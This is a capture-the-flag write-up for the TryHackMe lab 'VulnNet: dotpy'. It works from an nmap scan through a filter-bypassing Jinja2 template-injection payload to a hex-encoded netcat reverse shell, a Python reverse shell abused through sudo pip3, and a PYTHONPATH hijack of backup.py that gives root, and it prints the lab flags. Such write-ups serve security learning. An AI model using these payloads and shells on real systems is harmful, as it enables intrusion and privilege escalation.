Enumeration
Port Scan
# Nmap 7.80 scan initiated Wed Apr 7 20:55:28 2021 as: nmap -sV -sC -oA nmap/output vulnnetdotpy.thm
Nmap scan report for vulnnetdotpy.thm (10.10.6.225)
Host is up (0.052s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
8080/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9)
| http-title: VulnNet Entertainment - Login | Discover
|_Requested resource was http://vulnnetdotpy.thm:8080/login
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 7 20:55:41 2021 -- 1 IP address (1 host up) scanned in 12.18 seconds
Accessing the website
SSTI
Ran Nikto Scan:
The webpage is apparently vulnerable to XSS.
Let’s try it out:
The non-existend subdirectory get’s reflected to the page.
Let’s try if the page is vulnerable to SSTI
Nice :)
I then followed this methodology
and found out that jinja template engine is being used
After sending a couple of payloads, I found out that . _ and []
are filtered
The following payload (xxx.com) is bypasses the filer and is supposed to work:
id command
%7B%7Brequest%7Cattr('application')%7Cattr('%5Cx5f%5Cx5fglobals%5Cx5f%5Cx5f')%7Cattr('%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f')('%5Cx5f%5Cx5fbuiltins%5Cx5f%5Cx5f')%7Cattr('%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f')('%5Cx5f%5Cx5fimport%5Cx5f%5Cx5f')('os')%7Cattr('popen')('id')%7Cattr('read')()%7D%7D
Note: URL Encoding matters!!!
show content of /home
/%7B%7Brequest%7Cattr('application')%7Cattr('%5Cx5f%5Cx5fglobals%5Cx5f%5Cx5f')%7Cattr('%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f')('%5Cx5f%5Cx5fbuiltins%5Cx5f%5Cx5f')%7Cattr('%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f')('%5Cx5f%5Cx5fimport%5Cx5f%5Cx5f')('os')%7Cattr('popen')('ls%20-al%20%5Cx2fhome')%7Cattr('read')()%7D%7Dc
https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
Reverse Shell Payload
linux command needs to be hex encoded
/%7B%7Brequest%7Cattr('application')%7Cattr('%5Cx5f%5Cx5fglobals%5Cx5f%5Cx5f')%7Cattr('%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f')('%5Cx5f%5Cx5fbuiltins%5Cx5f%5Cx5f')%7Cattr('%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f')('%5Cx5f%5Cx5fimport%5Cx5f%5Cx5f')('os')%7Cattr('popen')('\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x70\x3b\x20\x6e\x63\x20\x31\x30\x2e\x39\x2e\x37\x2e\x38\x36\x20\x31\x33\x33\x37\x20\x30\x3c\x2f\x74\x6d\x70\x2f\x70\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x70\x20\x32\x3e\x26\x31\x3b\x20\x72\x6d\x20\x2f\x74\x6d\x70\x2f\x70\x20\xe2\x80\x93\x3e\x20\x68\x65\x78')%7Cattr('read')()%7D%7D
After catching a reverse shell I ran the following command
web@vulnnet-dotpy:~$ sudo -l
Matching Defaults entries for web on vulnnet-dotpy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User web may run the following commands on vulnnet-dotpy:
(system-adm) NOPASSWD: /usr/bin/pip3 install *
Next Steps
- https://gtfobins.github.io/gtfobins/pip/#sudo
- Create /tmp/shell/setup.py
mkdir /tmp/shell
touch /tmp/shell/setup.py
- place python reverse shell wthin /tmp/shell/setup.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.7.86",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
-
Run
sudo -u system-adm /usr/bin/pip3 install /tmp/shell
-
Catch a shell
-
Flag: THM{91c7547864fa1314a306f82a14cd7fb4}
Root.txt
system-adm@vulnnet-dotpy:/tmp/pip-ajvj6guw-build$ sudo -l
Matching Defaults entries for system-adm on vulnnet-dotpy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User system-adm may run the following commands on vulnnet-dotpy:
(ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/backup.py
system-adm@vulnnet-dotpy:/tmp/pip-ajvj6guw-build$
/opt/backup.py is only writable by root
The output of sudo -l
shows that the SETENV tag is set. That means you can pass an environment variable (from the context of system-adm user) when running the sudo command –> PYTHONPATH Hijacking
Content of /opt/backup.py
from datetime import datetime
from pathlib import Path
import zipfile
OBJECT_TO_BACKUP = '/home/manage' # The file or directory to backup
BACKUP_DIRECTORY = '/var/backups' # The location to store the backups in
MAX_BACKUP_AMOUNT = 300 # The maximum amount of backups to have in BACKUP_DIRECTORY
object_to_backup_path = Path(OBJECT_TO_BACKUP)
backup_directory_path = Path(BACKUP_DIRECTORY)
assert object_to_backup_path.exists() # Validate the object we are about to backup exists before we continue
# Validate the backup directory exists and create if required
backup_directory_path.mkdir(parents=True, exist_ok=True)
# Get the amount of past backup zips in the backup directory already
existing_backups = [
x for x in backup_directory_path.iterdir()
if x.is_file() and x.suffix == '.zip' and x.name.startswith('backup-')
]
# Enforce max backups and delete oldest if there will be too many after the new backup
oldest_to_newest_backup_by_name = list(sorted(existing_backups, key=lambda f: f.name))
while len(oldest_to_newest_backup_by_name) >= MAX_BACKUP_AMOUNT: # >= because we will have another soon
backup_to_delete = oldest_to_newest_backup_by_name.pop(0)
backup_to_delete.unlink()
# Create zip file (for both file and folder options)
backup_file_name = f'backup-{datetime.now().strftime("%Y%m%d%H%M%S")}-{object_to_backup_path.name}.zip'
zip_file = zipfile.ZipFile(str(backup_directory_path / backup_file_name), mode='w')
if object_to_backup_path.is_file():
# If the object to write is a file, write the file
zip_file.write(
object_to_backup_path.absolute(),
arcname=object_to_backup_path.name,
compress_type=zipfile.ZIP_DEFLATED
)
elif object_to_backup_path.is_dir():
# If the object to write is a directory, write all the files
for file in object_to_backup_path.glob('**/*'):
if file.is_file():
zip_file.write(
file.absolute(),
arcname=str(file.relative_to(object_to_backup_path)),
compress_type=zipfile.ZIP_DEFLATED
)
# Close the created zip file
zip_file.close()
As you can see on the very top of the backup.py
file, zipfile
is imported.
So, I created a file called zipfile.py
and placed a reverse shell in it.
Next I ran the following command: sudo PYTHONPATH=. /usr/bin/python3 /opt/backup.py
and received a reverse shell as root
[
Flag: THM{734c7c2f0a23a4f590aa8600676021fb}
With finishing VulnNet: dotpy I hit the 60 Days streak :)
[